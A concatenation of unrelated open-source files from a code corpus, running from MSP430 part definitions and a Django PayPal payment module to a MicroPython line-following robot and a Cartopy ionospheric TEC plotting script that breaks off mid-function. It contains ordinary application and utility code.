Pin(num='E7',name='P4.3/A12/TB0',func=Pin.BIDIR,do_erc=True),
Pin(num='F7',name='P4.4/A13/TB1',func=Pin.BIDIR,do_erc=True),
Pin(num='G7',name='P4.6/A15/TBOUTH',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430G2755IDA38',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430F2955, 38pin TSSOP, 56KB Flash Memory, 4KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2855IDA38', 'MSP430G2955IDA38'],pins=[
Pin(num='1',name='SBWTCK/TEST',do_erc=True),
Pin(num='2',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='3',name='TA1.0/ROSC/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='5',name='XOUT/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='XIN/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='8',name='TA1CLK/ACLK/A0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='TA0INCLK/SMCLK/A1/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='TA0.0/A2/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='P4.3/A12/CA3/TB0.0',func=Pin.BIDIR,do_erc=True),
Pin(num='30',name='TA0.2/VREF+/VeREF+/A4/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='P3.0/A5/UCB0STE/UCA0CLK',func=Pin.BIDIR,do_erc=True),
Pin(num='21',name='P4.4/A13/CA4/TB0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='31',name='TA0CLK/ADC10CLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P3.1/UCB0SIMO/UCB0SDA',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='P4.5/A14/CA5/TB0.2',func=Pin.BIDIR,do_erc=True),
Pin(num='32',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P3.2/UCB0SOMI/UCB0SCL',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='P4.6/A15/CA6/TB0OUTH',func=Pin.BIDIR,do_erc=True),
Pin(num='33',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='P3.3/UCB0CLK/UCA0STE',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='P4.7/CA7/TB0CLK',func=Pin.BIDIR,do_erc=True),
Pin(num='34',name='TA0.2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='25',name='P3.4/UCA0TXD/UCA0SIMO',func=Pin.BIDIR,do_erc=True),
Pin(num='35',name='TCK/SMCLK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='26',name='P3.5/UCA0RXD/UCA0SOMI',func=Pin.BIDIR,do_erc=True),
Pin(num='36',name='TMS/TA0.0/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='P4.0/CA0/TB0.0',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='P3.6/A6/TA1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='37',name='TDI/TA0.1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='P4.1/CA1/TB0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='P3.7/A7/TA1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='38',name='TDO/TDI/TA0.2/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='P4.2/CA2/TB0.2',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='TA0.1/VREF−/VeREF−/A3/P2.3',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430G2755IRHA40',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430F2955, 40pin QFN, 56KB Flash Memory, 4KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2855IRHA40', 'MSP430G2955IRHA40'],pins=[
Pin(num='1',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='XOUT/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='XIN/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='5',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='6',name='TA1CLK/ACLK/A0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TA0INCLK/SMCLK/A1/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='TA0.0/A2/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P3.0/A5/UCB0STE/UCA0CLK',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P3.1/UCB0SIMO/UCB0SDA',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='P4.5/A14/CA5/TB0.2',func=Pin.BIDIR,do_erc=True),
Pin(num='30',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='40',name='TA1.0/ROSC/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='P3.2/UCB0SOMI/UCB0SCL',func=Pin.BIDIR,do_erc=True),
Pin(num='21',name='P4.6/A15/CA6/TB0OUTH',func=Pin.BIDIR,do_erc=True),
Pin(num='31',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P3.3/UCB0CLK/UCA0STE',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='P4.7/CA7/TB0CLK',func=Pin.BIDIR,do_erc=True),
Pin(num='32',name='TA0.2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='23',name='P3.4/UCA0TXD/UCA0SIMO',func=Pin.BIDIR,do_erc=True),
Pin(num='33',name='TCK/SMCLK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='24',name='P3.5/UCA0RXD/UCA0SOMI',func=Pin.BIDIR,do_erc=True),
Pin(num='34',name='TMS/TA0.0/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='P4.0/CA0/TB0.0',func=Pin.BIDIR,do_erc=True),
Pin(num='25',name='P3.6/A6/TA1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='35',name='TDI/TA0.1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='P4.1/CA1/TB0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='P3.7/A6/TA1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='36',name='TDO/TDI/TA0.2/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='P4.2/CA2/TB0.2',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='TA0.1/VREF−/VeREF−/A3/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='37',name='SBWTCK/TEST',do_erc=True),
Pin(num='18',name='P4.3/A12/CA3/TB0.0',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='TA0.2/VREF+/VeREF+/A4/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='38',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='19',name='P4.4/A13/CA4/TB0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='TA0CLK/ADC10CLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='39',name='DVCC',func=Pin.PWRIN,do_erc=True)])])
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] |
salesman_paypal/payment.py | dinoperovic/django-salesman-paypal | 2 | 112717 | <reponame>dinoperovic/django-salesman-paypal<filename>salesman_paypal/payment.py
from __future__ import annotations
import json
import logging
from decimal import Decimal
from typing import Any, TypeVar
from django.http import HttpRequest, HttpResponse
from django.shortcuts import redirect, render
from django.urls import URLPattern, URLResolver, path, reverse
from django.utils.decorators import method_decorator
from django.utils.text import Truncator
from paypalcheckoutsdk.core import (
LiveEnvironment,
PayPalEnvironment,
PayPalHttpClient,
SandboxEnvironment,
)
from paypalcheckoutsdk.orders import OrdersCaptureRequest, OrdersCreateRequest
from paypalcheckoutsdk.payments import CapturesRefundRequest
from paypalhttp import HttpError as PayPalHttpError
from paypalhttp.http_response import Result
from rest_framework.decorators import api_view, renderer_classes
from rest_framework.renderers import JSONRenderer
from rest_framework.request import Request
from rest_framework.response import Response
from salesman.basket.models import BaseBasket
from salesman.checkout.payment import PaymentError, PaymentMethod
from salesman.core.utils import get_salesman_model
from salesman.orders.models import BaseOrder, BaseOrderPayment
from .conf import app_settings
logger = logging.getLogger(__name__)
BasketOrOrder = TypeVar("BasketOrOrder", BaseBasket, BaseOrder)
class PayPalPayment(PaymentMethod): # type: ignore
"""
PayPal payment method.
"""
identifier = "paypal"
label = app_settings.SALESMAN_PAYPAL_PAYMENT_LABEL
def get_urls(self) -> list[URLPattern | URLResolver]:
"""
Register PayPal views.
"""
return [
path("return/", self.return_view, name="paypal-return"),
path("cancel/", self.cancel_view, name="paypal-cancel"),
path("capture/<order_id>/", self.capture_view, name="paypal-capture"),
]
def basket_payment(
self,
basket: BaseBasket,
request: HttpRequest,
) -> dict[str, Any]:
"""
Create order for Basket.
"""
return self.process_payment(basket, request)
def order_payment(
self,
order: BaseOrder,
request: HttpRequest,
) -> dict[str, Any]:
"""
Pay for for an existing Order.
"""
return self.process_payment(order, request)
def process_payment(
self,
obj: BasketOrOrder,
request: HttpRequest,
) -> dict[str, Any]:
"""
Processs payment for either the Basket or Order.
"""
try:
paypal_order = self.create_paypal_order(obj, request)
data: dict[str, Any] = paypal_order.dict()
return data
except PayPalHttpError as e:
logger.error(e)
raise PaymentError(str(e))
def create_paypal_order(self, obj: BasketOrOrder, request: HttpRequest) -> Result:
"""
Create a PayPal order and return the result.
"""
paypal_request = OrdersCreateRequest()
paypal_request.prefer("return=representation")
paypal_request.request_body(self.get_paypal_order_data(obj, request))
paypal_response = self.get_paypal_client().execute(paypal_request)
return paypal_response.result
def get_paypal_order_data(
self,
obj: BasketOrOrder,
request: HttpRequest,
) -> dict[str, Any]:
"""
Returns PayPal order create request data.
See available data to be set in PayPal:
https://developer.paypal.com/api/orders/v2/#orders-create-request-body
"""
return {
"intent": "CAPTURE",
"payer": self.get_paypal_payer_data(obj, request),
"purchase_units": [self.get_paypal_purchase_unit_data(obj, request)],
"application_context": self.get_paypal_app_context_data(obj, request),
}
def get_paypal_payer_data(
self,
obj: BasketOrOrder,
request: HttpRequest,
) -> dict[str, Any]:
"""
Returns PayPal payer data.
See available data to be set in PayPal:
https://developer.paypal.com/api/orders/v2/#definition-payer
"""
if not obj.user:
return {"email_address": getattr(obj, "email", obj.extra["email"])}
return {
"email_address": obj.user.email or None,
"name": {
"given_name": obj.user.first_name or obj.user.get_username(),
"surname": obj.user.last_name or None,
},
}
def get_paypal_purchase_unit_data(
self,
obj: BasketOrOrder,
request: HttpRequest,
) -> dict[str, Any]:
"""
Returns PayPal order purchase unit data.
See available data to be set in PayPal:
https://developer.paypal.com/api/orders/v2/#definition-purchase_unit_request
"""
currency = self.get_currency(request)
return {
"amount": {
"currency_code": currency,
"value": str(obj.total),
"breakdown": {
"item_total": {
"currency_code": currency,
"value": str(obj.total),
},
},
},
"custom_id": self.get_reference(obj),
"items": self.get_paypal_items_data(obj, request),
"shipping": self.get_paypal_shipping_data(obj, request),
}
def get_paypal_items_data(
self,
obj: BasketOrOrder,
request: HttpRequest,
) -> list[dict[str, Any]]:
"""
Returns PayPal order items data.
See available data to be set in PayPal:
https://developer.paypal.com/api/orders/v2/#definition-item
"""
return [
{
"name": f"Purchase {len(obj.get_items())} items",
"unit_amount": {
"currency_code": self.get_currency(request),
"value": str(obj.total),
},
"quantity": "1",
"description": Truncator(
", ".join(
[f"{item.quantity}x {item.name}" for item in obj.get_items()]
)
).chars(127),
}
]
def get_paypal_shipping_data(
self,
obj: BasketOrOrder,
request: HttpRequest,
) -> dict[str, Any]:
"""
Returns PayPal order shipping data.
See available data to be set in PayPal:
https://developer.paypal.com/api/orders/v2/#definition-shipping_detail
"""
return {
"name": {
"full_name": obj.user.get_full_name() if obj.user else None,
}
}
def get_paypal_app_context_data(
self,
obj: BasketOrOrder,
request: HttpRequest,
) -> dict[str, Any]:
"""
Returns PayPal order application context data.
See available data to be set in PayPal:
https://developer.paypal.com/api/orders/v2/#definition-order_application_context
"""
return {
"return_url": request.build_absolute_uri(reverse("paypal-return")),
"cancel_url": request.build_absolute_uri(reverse("paypal-cancel")),
}
def refund_payment(self, payment: BaseOrderPayment) -> bool:
"""
Refund payment on PayPal.
"""
paypal_request = CapturesRefundRequest(payment.transaction_id)
paypal_request.prefer("return=minimal")
try:
self.get_paypal_client().execute(paypal_request)
except PayPalHttpError as e:
logger.error(e)
return False
return True
def get_currency(self, request: HttpRequest) -> str:
"""
Returns ISO currency for the given request.
"""
return app_settings.SALESMAN_PAYPAL_DEFAULT_CURRENCY.upper()
def get_reference(self, obj: BasketOrOrder) -> str:
"""
Returns a reference ID for the given object used to identify the PayPal order.
"""
if isinstance(obj, BaseBasket):
return f"basket_{obj.id}"
return f"order_{obj.id}"
@classmethod
def parse_reference(cls, reference: str) -> tuple[str | None, str | None]:
"""
Parses the reference ID returning the object kind and ID.
"""
try:
kind, id = reference.split("_")
assert kind in ("basket", "order")
return kind, id
except Exception:
return None, None
@classmethod
def get_paypal_environment(cls) -> PayPalEnvironment:
"""
Returns environment class used in PayPal client.
"""
environment_class = (
SandboxEnvironment
if app_settings.SALESMAN_PAYPAL_SANDBOX_MODE
else LiveEnvironment
)
return environment_class(
client_id=app_settings.SALESMAN_PAYPAL_CLIENT_ID,
client_secret=app_settings.SALESMAN_PAYPAL_CLIENT_SECRET,
)
@classmethod
def get_paypal_client(cls) -> PayPalHttpClient:
"""
Returns PayPal http API client.
"""
return PayPalHttpClient(cls.get_paypal_environment())
@classmethod
def return_view(cls, request: HttpRequest) -> HttpResponse:
"""
Handle approved payment on PayPal.
"""
if app_settings.SALESMAN_PAYPAL_RETURN_URL:
return redirect(app_settings.SALESMAN_PAYPAL_RETURN_URL)
return render(request, "salesman_paypal/return.html")
@classmethod
def cancel_view(cls, request: HttpRequest) -> HttpResponse:
"""
Handle cancelled payment on PayPal.
"""
if app_settings.SALESMAN_PAYPAL_CANCEL_URL:
return redirect(app_settings.SALESMAN_PAYPAL_CANCEL_URL)
return render(request, "salesman_paypal/cancel.html")
@classmethod
@method_decorator(api_view(["POST"])) # type: ignore
@method_decorator(renderer_classes([JSONRenderer])) # type: ignore
def capture_view(cls, request: Request, order_id: int) -> Response:
"""
Order capture view.
"""
try:
paypal_request = OrdersCaptureRequest(order_id)
paypal_request.prefer("return=representation")
paypal_response = cls.get_paypal_client().execute(paypal_request)
except PayPalHttpError as e:
logger.error(e)
error = json.loads(e.message)
return Response(error, status=400)
return cls.capture_paypal_order(request, paypal_response.result)
@classmethod
def capture_paypal_order(cls, request: Request, paypal_order: Result) -> Response:
"""
Fulfill order from an approved PayPal order.
"""
Basket = get_salesman_model("Basket")
Order = get_salesman_model("Order")
paypal_purchase_unit = paypal_order.purchase_units[0]
kind, id = cls.parse_reference(paypal_purchase_unit.custom_id)
if kind == "basket":
try:
basket = Basket.objects.get(id=id)
except BaseBasket.DoesNotExist:
logger.error(f"Missing basket: {id}")
return Response({"detail": "Missing basket"}, status=400)
kwargs = {"status": app_settings.SALESMAN_PAYPAL_PAID_STATUS}
order = Order.objects.create_from_basket(basket, request, **kwargs)
basket.delete()
elif kind == "order":
try:
order = Order.objects.get(id=id)
except BaseOrder.DoesNotExist:
logger.error(f"Missing order: {id}")
return Response({"detail": "Missing order"}, status=400)
else:
logger.error(f"Invalid paypal reference: {paypal_order.id}")
return Response({"detail": "Invalid paypal reference"}, status=400)
# Capture payment on order.
paypal_capture = paypal_purchase_unit.payments.captures[0]
order.pay(
amount=Decimal(paypal_capture.amount.value),
transaction_id=paypal_capture.id,
payment_method=cls.identifier,
)
logger.info(f"Order fulfilled: {order.ref}")
return Response(paypal_order.dict())
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users/urls.py | Shawn9717/awards | 0 | 102659 |
from django.urls import path,include,re_path
from . import views
from django.contrib.auth import views as auth_views
app_name = "users"
urlpatterns = [
path('api/profile',views.ProfileList.as_view()),
path('profile/',views.profile,name = 'profile'),
#path('user_profile/',views.user_profile,name = 'user_profile'),
path('edit_profile/',views.edit_profile,name = 'edit_profile'),
path("/", views.register, name="register"),
#path('profile/',views.profile,name = 'profile'),
] | [
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] |
explanation/analyse.py | whj0401/RLOBF | 3 | 190041 | # -*- coding: utf-8 -*-
import os
bin_names = 'md5sum, sha512sum, comm, uniq, nl, b2sum, sum, wc, sha256sum, ptx, sha1sum, join, dir, shuf, tail, tsort, ls, sort, base64, base32'
bin_names = bin_names.split(', ')
total_opcodes = 0
num_valid_funcs = 0
for name in bin_names:
op_dir = './%s_ops_info/' % name
html_dir = './%s_html' % name
all_func_ops_files = os.listdir(op_dir)
for func_f in all_func_ops_files:
if not func_f.startswith('<'):
continue
print('file: ' + op_dir + func_f)
with open(op_dir + func_f, 'r') as f:
opcodes = f.read()
if len(opcodes) < 20:
continue
num_valid_funcs += 1
total_opcodes += len(opcodes.split())
print('total opcodes' + str(total_opcodes))
print('functions: ' + str(num_valid_funcs))
print('avg per function: ' + str(total_opcodes / num_valid_funcs))
| [
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13,
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2
] |
Cart/main.py | Isaquehg/smart-shelf | 0 | 96248 | from time import sleep
from machine import Pin, PWM
led = Pin(25, Pin.OUT)
motorD1 = PWM(Pin(6, Pin.OUT))
motorD2 = PWM(Pin(7, Pin.OUT))
motorE1 = PWM(Pin(8, Pin.OUT))
motorE2 = PWM(Pin(9, Pin.OUT))
button = Pin(22, Pin.IN, Pin.PULL_DOWN)
FD = Pin(12, Pin.IN, Pin.PULL_DOWN)
D = Pin(13, Pin.IN, Pin.PULL_DOWN)
E = Pin(14, Pin.IN, Pin.PULL_DOWN)
FE = Pin(15, Pin.IN, Pin.PULL_DOWN)
motorD1.freq(100)
motorD2.freq(100)
motorE1.freq(100)
motorE2.freq(100)
last_direction = ''
duty_cicle = 43690 # 65536
def set_motors(v1, v2, v3, v4):
print(v1, v2, v3, v4)
motorD1.duty_u16(v1 * duty_cicle)
motorD2.duty_u16(v2 * duty_cicle)
motorE1.duty_u16(v3 * duty_cicle)
motorE2.duty_u16(v4 * duty_cicle)
def move(direction):
global last_direction
if direction == last_direction:
return
if direction == 'park':
set_motors(0, 0, 0, 0)
elif direction == 'forward':
set_motors(0, 1, 0, 1)
elif direction == 'backward':
set_motors(1, 0, 1, 0)
elif direction == 'forward left':
set_motors(0, 1, 0, 0)
elif direction == 'forward right':
set_motors(0, 0, 0, 1)
elif direction == 'backward left':
set_motors(1, 0, 0, 0)
elif direction == 'backward right':
set_motors(0, 0, 1, 0)
elif direction == 'left':
set_motors(0, 1, 1, 0)
elif direction == 'right':
set_motors(1, 0, 0, 1)
last_direction = direction
def follow_line():
led.value(1)
while FD.value() == 0 and FE.value() == 0:
if D.value():
move('right')
elif E.value():
move('left')
else:
move('forward')
led.value(0)
def turn_right():
move('forward')
sleep(0.1)
while D.value() or E.value():
move('forward')
sleep(0.1)
move('right')
while not D.value():
move('right')
move('left')
sleep(0.05)
move('park')
def turn_left():
move('forward')
sleep(0.1)
while E.value():
move('forward')
sleep(0.1)
move('left')
while not E.value():
move('left')
move('right')
sleep(0.05)
move('park')
def Uturn():
while E.value():
move('forward')
sleep(0.2)
move('left')
while not E.value():
move('left')
move('right')
sleep(0.06)
move('park')
def test():
follow_line()
turn_right()
def sequence():
follow_line()
turn_right()
follow_line()
turn_left()
follow_line()
turn_right()
follow_line()
Uturn()
follow_line()
turn_left()
follow_line()
turn_right()
follow_line()
move('forward')
sleep(0.05)
while E.value():
move('forward')
follow_line()
Uturn()
follow_line()
turn_right()
follow_line()
Uturn()
while True:
print('FE: {} E: {} D: {} FD: {}'.format(FE.value(), E.value(), D.value(), FD.value()))
if button.value():
led.value(1)
sequence()
# test()
else:
led.value(0)
move('park')
sleep(0.1)
| [
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news_crawler/utils.py | andreeaiana/renewrs_corpus_extraction | 2 | 1614198 | # -*- coding: utf-8 -*-
# Utils for news_crawler project
def remove_empty_paragraphs(paragraphs):
""" Removes empty paragraphs from a list of paragraphs """
return [para for para in paragraphs if para != ' ' and para != '']
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tecmov-cartopy.py | mrinalghosh/gpstec | 1 | 171800 | #!/usr/bin/env python
# Cartopy implementation of TEC plotting in polar coordinates
# author: @mrinalghosh
import matplotlib.pyplot as plt
import matplotlib.path as mpath
import numpy as np
import cartopy.feature as cfeature
import cartopy.crs as ccrs
import h5py
from argparse import ArgumentParser
from datetime import datetime
import os
from glob import glob
from sys import platform
months = {1: 'jan', 2: 'feb', 3: 'mar', 4: 'apr', 5: 'may', 6: 'jun',
7: 'jul', 8: 'aug', 9: 'sep', 10: 'oct', 11: 'nov', 12: 'dec'}
projections = {'plate': [ccrs.PlateCarree(), 'Plate Carree'],
'near': [ccrs.NearsidePerspective(), 'Nearside Perspective'],
'polar': [ccrs.NorthPolarStereo(), 'Polar Stereo'],
'mercator': [ccrs.Mercator(), 'Mercator'],
'geostat': [ccrs.Geostationary(), 'Geostationary']}
cmaps = plt.colormaps()
def save(root: str = None,
n: int = None,
overlap: bool = False,
slide: str = None,
proj: str = None,
lim: float = None,
cmap: str = None):
f = h5py.File(root, 'r')
lat = f['GPSTEC']['lat']
lon = f['GPSTEC']['lon']
t = f['GPSTEC']['time']
if cmap not in cmaps:
cmap = 'gist_ncar'
if slide is not None:
slide = int(slide)
if slide+n-1 <= len(t):
im = np.nanmean(f['GPSTEC']['im'][0:][0:][slide:slide+n+1], axis=0)
im = np.transpose(im)
time = datetime.fromtimestamp(t[slide])
# scale cmap
cmax = np.max(list(filter(lambda x: ~np.isnan(x), np.reshape(im, 64800))))
cmin = np.min(list(filter(lambda x: ~np.isnan(x), np.reshape(im, 64800))))
minoff = 0 # offset
maxoff = 0
if proj == 'polar':
fig = plt.figure()
theta = np.linspace(0, 2 * np.pi, 100)
center, radius = [0.5, 0.5], 0.5
verts = np.vstack([np.sin(theta), np.cos(theta)]).T
circle = mpath.Path(verts * radius + center)
ax1 = plt.subplot(1, 2, 1, projection=ccrs.SouthPolarStereo())
ax1.set_extent([-180, 180, -90, 0], ccrs.PlateCarree())
ax1.title.set_text('South Polar Stereographic')
ax1.add_feature(cfeature.OCEAN, zorder=1)
ax1.add_feature(cfeature.LAKES, zorder=1)
ax1.add_feature(cfeature.RIVERS, zorder=1)
ax1.add_feature(cfeature.LAND, zorder=1)
ax1.add_feature(cfeature.BORDERS, zorder=3)
ax1.add_feature(cfeature.COASTLINE, zorder=3)
ax1.gridlines()
ax1.set_boundary(circle, transform=ax1.transAxes)
im1 = ax1.pcolormesh(lon, lat, im, transform=ccrs.PlateCarree(), vmin=cmin + minoff, vmax=cmax - maxoff,
cmap=cmap, zorder=2)
ax2 = plt.subplot(1, 2, 2, projection=ccrs.NorthPolarStereo())
ax2.set_extent([-180, 180, 90, 0], ccrs.PlateCarree())
ax2.title.set_text('North Polar Stereographic')
ax2.add_feature(cfeature.OCEAN, zorder=1)
ax2.add_feature(cfeature.LAKES, zorder=1)
ax2.add_feature(cfeature.RIVERS, zorder=1)
ax2.add_feature(cfeature.LAND, zorder=1)
ax2.add_feature(cfeature.BORDERS, zorder=3)
ax2.add_feature(cfeature.COASTLINE, zorder=3)
ax2.gridlines()
ax2.set_boundary(circle, transform=ax2.transAxes)
im2 = ax2.pcolormesh(lon, lat, im, transform=ccrs.PlateCarree(), vmin=cmin + minoff, vmax=cmax - maxoff,
cmap=cmap, zorder=2)
fig.subplots_adjust(right=0.8)
cbar_ax = fig.add_axes([0.85, 0.15, 0.02, 0.7])
fig.colorbar(im2, cax=cbar_ax, label='Total Electron Concentration [TECu]')
elif proj is not 'polar':
fig = plt.figure('TEC ({})'.format(datetime.fromtimestamp(t[slide])))
ax = plt.subplot(1, 1, 1, projection=projections[proj][0])
ax.title.set_text(projections[proj][1])
ax.add_feature(cfeature.OCEAN, zorder=1)
ax.add_feature(cfeature.LAKES, zorder=1)
ax.add_feature(cfeature.RIVERS, zorder=1)
ax.add_feature(cfeature.LAND, zorder=1)
ax.add_feature(cfeature.BORDERS, zorder=3)
ax.add_feature(cfeature.COASTLINE, zorder=3)
ax.gridlines()
imcm = ax.pcolormesh(lon, lat, im, transform=ccrs.PlateCarree(), vmin=cmin + minoff, vmax=cmax - maxoff,
cmap=cmap, zorder=2)
cb = fig.colorbar(imcm, shrink=0.5)
cb.set_label('Total Electron Content [TECu]')
print('Saving slide {}'.format(slide))
if platform == 'win32':
os.mkdir(os.path.split(root)[0] + '\\{}{}'.format(months[time.month], time.day))
elif platform in ['linux', 'linux2']:
os.mkdir(os.path.split(root)[0] + '/{}{}'.format(months[time.month], time.day))
folder = os.path.join(os.path.split(root)[0], '{}{}'.format(months[time.month], time.day))
print(folder)
# plt.savefig(os.path.join(folder, '{}.png'.format(slide)))
figsav = plt.gcf()
figsav.suptitle('{}'.format(time))
figsav.set_size_inches((10, 5), forward=False)
figsav.savefig(os.path.join(folder, '{}.png'.format(str(slide).zfill(3))), dpi=200)
plt.close(fig)
plt.close(figsav)
else:
t0 = datetime.fromtimestamp(t[0])
if platform == 'win32':
os.mkdir(os.path.split(root)[0] + '\\{}{}'.format(months[t0.month], t0.day))
elif platform in ['linux', 'linux2']:
os.mkdir(os.path.split(root)[0] + '/{}{}'.format(months[t0.month], t0.day))
folder = os.path.join(os.path.split(root)[0], '{}{}'.format(months[t0.month], t0.day))
if proj == 'polar':
theta = np.linspace(0, 2 * np.pi, 100)
center, radius = [0.5, 0.5], 0.5
verts = np.vstack([np.sin(theta), np.cos(theta)]).T
circle = mpath.Path(verts * radius + center)
if not overlap:
slides = list(map(lambda x: x*n, list(range(int(len(t)/n)-1))))
else:
slides = list(range(len(t)-n+1))
for slide in slides:
time = datetime.fromtimestamp(t[slide])
if lim is not 0:
cmax = lim
cmin = 0.0
else:
cmax = np.max(list(filter(lambda x: ~np.isnan(x), np.reshape(im, 64800))))
cmin = np.min(list(filter(lambda x: ~np.isnan(x), np.reshape(im, 64800))))
fig = plt.figure()
im = np.nanmean(f['GPSTEC']['im'][0:][0:][slide:slide+n+1], axis=0)
im = np.transpose(im)
ax1 = plt.subplot(1, 2, 1, projection=ccrs.SouthPolarStereo())
ax1.set_extent([-180, 180, -90, 0], ccrs.PlateCarree())
ax1.title.set_text('South Polar Stereographic')
ax1.add_feature(cfeature.OCEAN, zorder=1)
ax1.add_feature(cfeature.LAKES, zorder=1)
ax1.add_feature(cfeature.RIVERS, zorder=1)
ax1.add_feature(cfeature.LAND, zorder=1)
ax1.add_feature(cfeature.BORDERS, zorder=3)
ax1.add_feature(cfeature.COASTLINE, zorder=3)
ax1.gridlines()
ax1.set_boundary(circle, transform=ax1.transAxes)
ax1.pcolormesh(lon, lat, im, transform=ccrs.PlateCarree(), vmin=cmin, vmax=cmax,
cmap=cmap, zorder=2)
ax2 = plt.subplot(1, 2, 2, projection=ccrs.NorthPolarStereo())
ax2.set_extent([-180, 180, 90, 0], ccrs.PlateCarree())
ax2.title.set_text('North Polar Stereographic')
ax2.add_feature(cfeature.OCEAN, zorder=1)
ax2.add_feature(cfeature.LAKES, zorder=1)
ax2.add_feature(cfeature.RIVERS, zorder=1)
ax2.add_feature(cfeature.LAND, zorder=1)
ax2.add_feature(cfeature.BORDERS, zorder=3)
ax2.add_feature(cfeature.COASTLINE, zorder=3)
ax2.gridlines()
ax2.set_boundary(circle, transform=ax2.transAxes)
imcm = ax2.pcolormesh(lon, lat, im, transform=ccrs.PlateCarree(), vmin=cmin, vmax=cmax,
cmap=cmap, zorder=2)
fig.subplots_adjust(right=0.8)
cbar_ax = fig.add_axes([0.85, 0.15, 0.02, 0.7])
fig.colorbar(imcm, cax=cbar_ax, label='Total Electron Concentration [TECu]')
print('Saving slide {}/{}...'.format(slide+1, len(t)))
figsav = plt.gcf()
figsav.suptitle('{}'.format(time))
figsav.set_size_inches((10, 5), forward=False)
figsav.savefig(os.path.join(folder, '{}.png'.format(str(slide).zfill(3))), dpi=200)
plt.close(fig)
plt.close(figsav)
print(folder)
else:
if not overlap:
slides = list(map(lambda x: x*n, list(range(int(len(t)/n)-1))))
else:
slides = list(range(len(t)-n+1))
for slide in slides:
fig = plt.figure()
im = np.nanmean(f['GPSTEC']['im'][0:][0:][slide:slide+n+1], axis=0)
im = np.transpose(im)
if lim is not 0:
cmax = lim
cmin = 0.0
else:
cmax = np.max(list(filter(lambda x: ~np.isnan(x), np.reshape(im, 64800))))
cmin = np.min(list(filter(lambda x: ~np.isnan(x), np.reshape(im, 64800))))
ax = plt.subplot(1, 1, 1, projection=projections[proj][0])
ax.title.set_text(projections[proj][1])
ax.add_feature(cfeature.OCEAN, zorder=1)
ax.add_feature(cfeature.LAKES, zorder=1)
ax.add_feature(cfeature.RIVERS, zorder=1)
ax.add_feature(cfeature.LAND, zorder=1)
ax.add_feature(cfeature.BORDERS, zorder=3)
ax.add_feature(cfeature.COASTLINE, zorder=3)
ax.gridlines()
im = ax.pcolormesh(lon, lat, im, transform=ccrs.PlateCarree(), vmin=cmin, vmax=cmax,
cmap=cmap, zorder=2)
cb = fig.colorbar(im, shrink=0.5)
cb.set_label('Total Electron Content [TECu]')
# fig.tight_layout()
